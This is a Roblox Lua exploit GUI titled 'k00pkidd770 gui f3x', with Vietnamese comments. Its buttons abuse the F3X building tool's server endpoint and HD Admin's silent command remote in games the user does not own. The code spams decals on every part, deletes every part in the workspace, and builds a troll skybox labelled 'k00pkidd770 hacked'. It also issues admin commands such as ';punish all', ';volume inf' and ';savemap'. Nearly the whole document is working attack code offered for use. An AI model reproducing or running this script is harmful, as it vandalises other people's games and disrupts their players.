K00pkidd770 gui f3x

-- k00pkidd770 gui f3x
local ScreenGui = Instance.new("ScreenGui")
local MainFrame = Instance.new("Frame")
local TitleLabel = Instance.new("TextLabel")
local ButtonContainer = Instance.new("ScrollingFrame")
local UIListLayout = Instance.new("UIListLayout")
local UIPadding = Instance.new("UIPadding")

-- Cấu trúc Giao diện
ScreenGui.Name = "k00pkidd770_GUI"
ScreenGui.Parent = game:GetService("CoreGui")
ScreenGui.ResetOnSpawn = false

MainFrame.Name = "MainFrame"
MainFrame.Parent = ScreenGui
MainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
MainFrame.Position = UDim2.new(0, 15, 0, 15)
MainFrame.Size = UDim2.new(0, 300, 0, 300)
MainFrame.BorderSizePixel = 0
MainFrame.Active = true
MainFrame.Draggable = true 

local MainCorner = Instance.new("UICorner")
MainCorner.CornerRadius = UDim.new(0, 8)
MainCorner.Parent = MainFrame

TitleLabel.Name = "Title"
TitleLabel.Parent = MainFrame
TitleLabel.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
TitleLabel.Size = UDim2.new(1, 0, 0, 40)
TitleLabel.Font = Enum.Font.GothamBold
TitleLabel.Text = "k00pkidd770 gui f3x"
TitleLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
TitleLabel.TextSize = 18

local TitleCorner = Instance.new("UICorner")
TitleCorner.CornerRadius = UDim.new(0, 8)
TitleCorner.Parent = TitleLabel

ButtonContainer.Name = "ButtonContainer"
ButtonContainer.Parent = MainFrame
ButtonContainer.BackgroundTransparency = 1
ButtonContainer.Position = UDim2.new(0, 0, 0, 45)
ButtonContainer.Size = UDim2.new(1, 0, 1, -45)
ButtonContainer.CanvasSize = UDim2.new(0, 0, 0, 0)
ButtonContainer.AutomaticCanvasSize = Enum.AutomaticSize.Y
ButtonContainer.ScrollBarThickness = 4

UIListLayout.Parent = ButtonContainer
UIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
UIListLayout.Padding = UDim.new(0, 8)

UIPadding.Parent = ButtonContainer
UIPadding.PaddingTop = UDim.new(0, 5)

-- Hàm tạo nút
local function CreateButton(text, callback)
    local btn = Instance.new("TextButton")
    btn.Parent = ButtonContainer
    btn.BackgroundColor3 = Color3.fromRGB(55, 55, 55)
    btn.Size = UDim2.new(0, 270, 0, 40)
    btn.Font = Enum.Font.Gotham
    btn.Text = text
    btn.TextColor3 = Color3.fromRGB(255, 255, 255)
    btn.TextSize = 14
    local btnCorner = Instance.new("UICorner")
    btnCorner.CornerRadius = UDim.new(0, 6)
    btnCorner.Parent = btn
    btn.MouseButton1Click:Connect(callback)
    return btn
end

---------------------------------------------------------
-- 1. NÚT DECAL SPAM
---------------------------------------------------------
CreateButton("Decal Spam", function()
    local player = game.Players.LocalPlayer
    local char = player.Character
    local tool
    for i,v in player:GetDescendants() do
        if v.Name == "SyncAPI" then
            tool = v.Parent
        end
    end
    for i,v in game.ReplicatedStorage:GetDescendants() do
        if v.Name == "SyncAPI" then
            tool = v.Parent
        end
    end
    if tool then
        remote = tool.SyncAPI.ServerEndpoint
        function _(args)
            remote:InvokeServer(unpack(args))
        end
        function SetLocked(part,boolean)
            local args = {[1] = "SetLocked",[2] = {[1] = part},[3] = boolean}
            _(args)
        end
        function SpawnDecal(part,side)
            local args = {[1] = "CreateTextures",[2] = {[1] = {["Part"] = part,["Face"] = side,["TextureType"] = "Decal"}}}
            _(args)
        end
        function AddDecal(part,asset,side)
            local args = {[1] = "SyncTexture",[2] = {[1] = {["Part"] = part,["Face"] = side,["TextureType"] = "Decal",["Texture"] = "rbxassetid://".. asset}}}
            _(args)
        end
        function spam(id)
            for i,v in game.workspace:GetDescendants() do
                if v:IsA("BasePart") then
                    spawn(function()
                        SetLocked(v,false)
                        SpawnDecal(v,Enum.NormalId.Front)
                        AddDecal(v,id,Enum.NormalId.Front)
                        SpawnDecal(v,Enum.NormalId.Back)
                        AddDecal(v,id,Enum.NormalId.Back)
                        SpawnDecal(v,Enum.NormalId.Right)
                        AddDecal(v,id,Enum.NormalId.Right)
                        SpawnDecal(v,Enum.NormalId.Left)
                        AddDecal(v,id,Enum.NormalId.Left)
                        SpawnDecal(v,Enum.NormalId.Bottom)
                        AddDecal(v,id,Enum.NormalId.Bottom)
                        SpawnDecal(v,Enum.NormalId.Top)
                        AddDecal(v,id,Enum.NormalId.Top)
                    end)
                end
            end 
        end
        spam(131241667745998)
    end
end)

---------------------------------------------------------
-- 2. NÚT SKYBOX
---------------------------------------------------------
CreateButton("Skybox", function()
    local player = game.Players.LocalPlayer
    local char = player.Character
    local tool
    for i,v in player:GetDescendants() do
        if v.Name == "SyncAPI" then tool = v.Parent end
    end
    for i,v in game.ReplicatedStorage:GetDescendants() do
        if v.Name == "SyncAPI" then tool = v.Parent end
    end
    if tool then
        remote = tool.SyncAPI.ServerEndpoint
        function _(args) remote:InvokeServer(unpack(args)) end
        function CreatePart(cf,parent) _({[1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent}) end
        function MovePart(part,cf) _({[1] = "SyncMove", [2] = {[1] = {["Part"] = part, ["CFrame"] = cf}}}) end
        function AddMesh(part) _({[1] = "CreateMeshes", [2] = {[1] = {["Part"] = part}}}) end
        function SetMesh(part,meshid) _({[1] = "SyncMesh", [2] = {[1] = {["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid}}}) end
        function SetTexture(part, texid) _({[1] = "SyncMesh", [2] = {[1] = {["Part"] = part, ["TextureId"] = "rbxassetid://"..texid}}}) end
        function SetName(part, stringg) _({[1] = "SetName", [2] = {[1] = part}, [3] = stringg}) end
        function MeshResize(part,size) _({[1] = "SyncMesh", [2] = {[1] = {["Part"] = part, ["Scale"] = size}}}) end
        function SetLocked(part,boolean) _({[1] = "SetLocked", [2] = {[1] = part}, [3] = boolean}) end
        function SetAnchor(boolean,part) _({[1] = "SyncAnchor", [2] = {[1] = {["Part"] = part, ["Anchored"] = boolean}}}) end
        function SetCollision(part,boolean) _({[1] = "SyncCollision", [2] = {[1] = {["Part"] = part, ["CanCollide"] = boolean}}}) end

        function Sky(id)
            local e, f, g = char.HumanoidRootPart.CFrame.x, char.HumanoidRootPart.CFrame.y, char.HumanoidRootPart.CFrame.z
            local spawnPos = CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0, 6, 0)
            CreatePart(spawnPos, workspace)
            task.wait(0.2) 
            local skyPart
            for i, v in workspace:GetDescendants() do
                if v:IsA("BasePart") and (v.Position - spawnPos.p).Magnitude < 1 then
                    skyPart = v
                    SetName(v, "RandomSpinSky")
                    AddMesh(v)
                    SetMesh(v, "111891702759441")
                    SetTexture(v, id)
                    MeshResize(v, Vector3.new(2500, 2500, 2500))
                    SetLocked(v, true)
                    SetAnchor(true, v)
                    SetCollision(v, false)
                    break
                end
            end
            if skyPart then
                local t = 0
                game:GetService("RunService").Heartbeat:Connect(function(dt)
                    t = t + dt
                    local newCf = spawnPos * CFrame.Angles(math.rad(math.sin(t*1.5)*19), math.rad(t*19), math.rad(math.cos(t*2.1)*19))
                    MovePart(skyPart, newCf)
                end)
            end
        end
        Sky("78411722407265")
    end
end)

---------------------------------------------------------
-- 3. NÚT BTOOLS (HD ADMIN)
---------------------------------------------------------
CreateButton("BTools", function()
    local ReplicatedStorage = game:GetService("ReplicatedStorage")
    local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
    RequestCommand:InvokeServer(";btools me")
end)

---------------------------------------------------------
-- 4. NÚT REALM (NGUYÊN SCRIPT CỦA BẠN)
---------------------------------------------------------
CreateButton("Realm", function()
    local ReplicatedStorage = game:GetService("ReplicatedStorage")
    local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
    RequestCommand:InvokeServer(";btools me")
    RequestCommand:InvokeServer(";fogcolor black")
    wait(0.4)
    RequestCommand:InvokeServer(";punish all")
    wait(0.1)
    local player = game.Players.LocalPlayer
    local char = player.Character
    local backpack = player.Backpack

    local function getf3x()
        for _, v in ipairs(backpack:GetChildren()) do
            if v:FindFirstChild("SyncAPI") then
                return v
            end
        end
        for _, v in ipairs(char:GetChildren()) do
            if v:FindFirstChild("SyncAPI") then
                return v
            end
        end
        return nil
    end
    local f3x = getf3x()
    if not f3x then
        warn("you dont have f3x skid")
    end
    local syncapi = f3x.SyncAPI
    local serverendpoint = syncapi.ServerEndpoint

    local function delete(part)
        local args = {[1] = "Remove",[2] = {[1] = part}}
        serverendpoint:InvokeServer(unpack(args))
    end

    local function deleteall()
        for _, v in ipairs(workspace:GetDescendants()) do
            if v:IsA("BasePart") or v:IsA("UnionOperation") then
                spawn(function()
                    delete(v)
                end)
            end
        end
    end

    deleteall()

    local ReplicatedStorage = game:GetService("ReplicatedStorage")
    local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
    RequestCommand:InvokeServer(";fogcolor black ;time")
    local player = game.Players.LocalPlayer
    local char = player.Character
    local backpack = player.Backpack

    local function getf3x()
        for _, v in ipairs(backpack:GetChildren()) do
            if v:FindFirstChild("SyncAPI") then
                return v
            end
        end
        for _, v in ipairs(char:GetChildren()) do
            if v:FindFirstChild("SyncAPI") then
                return v
            end
        end
        return nil
    end
    local f3x = getf3x()
    if not f3x then
        warn("you dont have f3x skid")
    end
    local syncapi = f3x.SyncAPI
    local serverendpoint = syncapi.ServerEndpoint

    local function resize(part,size,cf)
        local args = {[1] = "SyncResize",[2] = {[1] = {["Part"] = part,["CFrame"] = cf,["Size"] = size}}}
        serverendpoint:InvokeServer(unpack(args))
    end

    local function syncmaterial(part,mate,trans)
        local args = {[1] = "SyncMaterial",[2] = {[1] = {["Part"] = part,["Material"] = mate}}}
        serverendpoint:InvokeServer(unpack(args))
    end
    local function transparency(part,trans)
        local args = {[1] = "SyncMaterial",[2] = {[1] = {["Part"] = part,["Transparency"] = trans}}}
        serverendpoint:InvokeServer(unpack(args))
    end

    local function color(part, color)
        local args = {[1] = "SyncColor",[2] = {[1] = {["Part"] = part,["Color"] = color,["UnionColoring"] = false}}}
        serverendpoint:InvokeServer(unpack(args))
    end

    local function syncmeshid(part, id)
        local args = {[1] = "SyncMesh",[2] = {[1] = {["Part"] = part,["MeshId"] = "rbxassetid://"..id}}}
        serverendpoint:InvokeServer(unpack(args))
    end

    local function makemesh(part)
        local args = {[1] = "CreateMeshes",[2] = {[1] = {["Part"] = part}}}
        serverendpoint:InvokeServer(unpack(args))
    end

    local function syncmeshsize(part, vectora)
        local args = {[1] = "SyncMesh",[2] = {[1] = {["Part"] = part,["Scale"] = vectora}}}
        serverendpoint:InvokeServer(unpack(args))
    end

    local function syncmeshtexture(part, id)
        local args = {[1] = "SyncMesh",[2] = {[1] = {["Part"] = part,["TextureId"] = "rbxassetid://"..id}}}
        serverendpoint:InvokeServer(unpack(args))
    end

    local function name(part, stringa)
        local args = {[1] = "SetName",[2] = {[1] = part},[3] = stringa}
        serverendpoint:InvokeServer(unpack(args))
    end

    local function lock(part, boolean)
        local args = {[1] = "SetLocked",[2] = {[1] = part},[3] = boolean}
        serverendpoint:InvokeServer(unpack(args))
    end

    local function setcollision(part, booleana)
        local args = {[1] = "SyncCollision",[2] = {[1] = {["Part"] = part,["CanCollide"] = booleana}}}
        serverendpoint:InvokeServer(unpack(args))
    end

    local function setanchor(part, boolean)
        local args = {[1] = "SyncAnchor",[2] = {[1] = {["Part"] = part,["Anchored"] = boolean}}}
        serverendpoint:InvokeServer(unpack(args))
    end

    local function createdecal(part, side)
        local args = {[1] = "CreateTextures",[2] = {[1] = {["Part"] = part,["Face"] = side,["TextureType"] = "Decal"}}}
        serverendpoint:InvokeServer(unpack(args))
    end
    local function setdecal(part, asset, side)
        local args = {[1] = "SyncTexture",[2] = {[1] = {["Part"] = part,["Face"] = side,["TextureType"] = "Decal",["Texture"] = "rbxassetid://".. asset}}}
        serverendpoint:InvokeServer(unpack(args))
    end

    local function makerealmbase()
        local position = CFrame.new(0, 5, 0)
        local base = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
        resize(base, Vector3.new(512, 16, 512), position)
        syncmaterial(base, Enum.Material.Concrete)
        color(base, Color3.new(0.513725, 0.513725, 0.513725))
        name(base, "loltroll")
        lock(base, true)
        local spawnpos = CFrame.new(34.5, 8.1, -26)
        local spawna = serverendpoint:InvokeServer("CreatePart", "Spawn", spawnpos, workspace)
        resize(spawna, Vector3.new(20, 10, 20), spawnpos)
        name(spawna, "SpawnLocation")
        lock(spawna, true)
        createdecal(spawna, Enum.NormalId.Top)
        setdecal(spawna, "122714843906483", Enum.NormalId.Top)
        transparency(spawna, 1)
        local pos1 = CFrame.new(74.143, 24, -25.232)
        local rules = serverendpoint:InvokeServer("CreatePart", "Normal", pos1, workspace)
        transparency(rules, 0)
        setcollision(rules, false)
        createdecal(rules, Enum.NormalId.Left)
        setdecal(rules, "93992818522111", Enum.NormalId.Left)
        color(rules, Color3.new(1, 1, 1))
        resize(rules, Vector3.new(4, 23, 37), pos1)
        local pos2 = CFrame.new(1.143, 24, -25.232)
        local bad = serverendpoint:InvokeServer("CreatePart", "Normal", pos2, workspace)
        transparency(bad, 1)
        setcollision(bad, false)
        createdecal(bad, Enum.NormalId.Right)
        setdecal(bad, "102186044091876", Enum.NormalId.Right)
        resize(bad, Vector3.new(4, 23, 37), pos2)
    end

    local function sky()
        local position = CFrame.new(0, 5, 0)
        local sky = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
        makemesh(sky)
        syncmeshid(sky, "111891702759441")
        syncmeshtexture(sky, "93992818522111")
        syncmeshsize(sky, Vector3.new(99999, 99999, 99999))
        lock(sky, true)
        name(sky, "k00pkidd770 hacked")
        setcollision(sky, false)
    end

    local function realm()
        sky()
        makerealmbase()
    end
    realm()

    RequestCommand:InvokeServer(";res all")
    wait(0.3)
    RequestCommand:InvokeServer(";r6 all")
    RequestCommand:InvokeServer(";time 17")
    wait(0.7)
    RequestCommand:InvokeServer(";music 1847661821 ;volume inf  ;savemap")
end)

---------------------------------------------------------
-- 5. NÚT MUSIC (HD ADMIN)
---------------------------------------------------------
CreateButton("Music", function()
    local ReplicatedStorage = game:GetService("ReplicatedStorage")
    local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
    RequestCommand:InvokeServer(";music 120785124326826 ;volume inf")
end)